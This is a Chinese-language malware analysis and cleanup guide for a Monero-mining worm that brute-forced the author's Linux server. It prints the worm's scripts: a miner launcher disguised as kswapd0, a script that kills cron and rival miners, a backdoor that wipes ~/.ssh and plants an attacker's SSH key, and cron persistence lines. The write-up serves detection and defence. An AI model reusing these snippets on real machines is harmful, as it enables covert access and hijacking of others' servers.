挖矿木马分析之肉鸡竟是我自己
字数 1035 2025-08-22 18:37:21
挖矿木马分析与清除实战指南
一、挖矿木马概述
本案例分析的是一种名为WachtdogsMiner的挖矿蠕虫变种,伪装成kswapd0进程利用CPU挖取门罗币(XMR)。该木马具有以下特征:
- 通过弱口令爆破入侵服务器
- 伪装成系统进程(如kswapd0)隐藏自身
- 具有自保护机制,会杀死其他挖矿进程独占资源
- 通过cron定时任务实现持久化
- 会添加SSH密钥实现后门访问
- 针对不同CPU架构(Intel/AMD)进行优化
二、感染迹象检测
1. 系统性能异常
- CPU占用率持续100%
- 出现异常的异地登录告警
2. 可疑进程检测
# 查看CPU占用最高的前10个进程
ps auxw|head -1;ps auxw|sort -rn -k3|head -10
# 检查可疑进程(如kswapd0)
ps -ef | grep kswapd0
3. 文件系统异常
/root/.configrc/目录及其子目录/tmp/目录下出现异常文件(如.X25-unix)- 系统关键目录出现异常文件(如/var/tmp/)
4. 网络连接异常
netstat -antlp | grep ESTABLISHED
三、木马工作机制分析
1. 文件结构
/root/.configrc/
├── a
│ ├── upd # 更新脚本
│ ├── run # 主运行脚本
│ ├── stop # 停止其他挖矿进程
│ ├── init0 # 初始化脚本
│ └── dir.dir # 记录当前路径
└── b
├── a # 后门安装脚本
├── run # 运行脚本
├── stop # 停止脚本
├── sync # 同步脚本
└── dir.dir # 路径记录
2. 核心脚本功能
run脚本
#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
nohup ./anacron >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./kswapd0
fi
echo $! > bash.pid
stop脚本
杀死其他挖矿进程和竞争对手:
#!/bin/sh
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'` >.proc
pkill -9 kswapd0
killall -9 kswapd0
[...省略大量类似命令...]
init0脚本
更复杂的进程清理脚本,会:
- 按进程名杀死挖矿相关进程
- 按CPU使用率杀死高占用进程
- 按网络连接杀死特定IP/端口的进程
- 清理已知的挖矿木马文件
a/upd脚本
设置CPU优化参数:
sysctl -w vm.nr_hugepages=$(nproc)
for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); do
echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"
done
modprobe msr
# AMD Ryzen优化
if cat /proc/cpuinfo | grep "AMD Ryzen" > /dev/null; then
wrmsr -a 0xc0011022 0x510000
wrmsr -a 0xc001102b 0x1808cc16
wrmsr -a 0xc0011020 0
wrmsr -a 0xc0011021 0x40
# Intel优化
elif cat /proc/cpuinfo | grep "Intel" > /dev/null; then
wrmsr -a 0x1a4 6
fi
b/a脚本
安装SSH后门:
#!/bin/sh
cd ~ && rm -rf .ssh && mkdir .ssh &&
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys
3. 持久化机制
通过cron定时任务实现:
1 1 */2 * * /root/.configrc/a/upd >/dev/null 2>&1
@reboot /root/.configrc/a/upd >/dev/null 2>&1
5 8 * * 0 /root/.configrc/b/sync >/dev/null 2>&1
@reboot /root/.configrc/b/sync >/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude >/dev/null 2>&1
四、完整清除步骤
1. 终止恶意进程
# 查找高CPU进程
ps auxw|head -1;ps auxw|sort -rn -k3|head -10
# 终止恶意进程(如PID 3124)
kill -9 3124
2. 删除木马文件
rm -rf /root/.configrc/
3. 清理定时任务
crontab -r # 删除所有定时任务
# 或者编辑crontab删除可疑条目
crontab -e
4. 检查并清理SSH密钥
vi ~/.ssh/authorized_keys
# 删除可疑的公钥
5. 检查/tmp目录
ls -la /tmp/
# 删除可疑文件和目录
rm -rf /tmp/.X25-unix/
6. 检查其他用户
cat /etc/passwd
ls -la /home/*
7. 检查网络连接
netstat -antlp
# 记录可疑IP地址
8. 检查登录日志
lastb
grep 'Failed password' /var/log/auth.log
五、防御建议
-
强化SSH安全:
- 禁用root远程登录
- 使用密钥认证替代密码
- 修改默认SSH端口
- 安装fail2ban
-
系统加固:
- 定期更新系统和软件
- 设置强密码策略
- 限制cron使用权限
- 监控系统资源使用情况
-
监控措施:
- 部署入侵检测系统(IDS)
- 设置文件完整性监控
- 配置日志集中收集和分析
-
应急响应:
- 建立系统快照和备份
- 准备应急响应预案
- 保留取证证据
六、攻击者画像
-
攻击来源:
- 主要来自荷兰IP
- 尝试登录IP分布广泛(北京、比利时、哥伦比亚、广东等)
-
攻击手法:
- 利用弱口令爆破
- 使用成熟的挖矿蠕虫变种
- 通过cron实现持久化
- 安装SSH后门
-
攻击目标:
- 暴露在公网且使用弱口令的Linux服务器
- 主要目的是挖取门罗币(XMR)
通过本案例的分析,我们可以深入了解挖矿木马的工作机制和清除方法,同时加强服务器的安全防护措施,防止类似攻击的发生。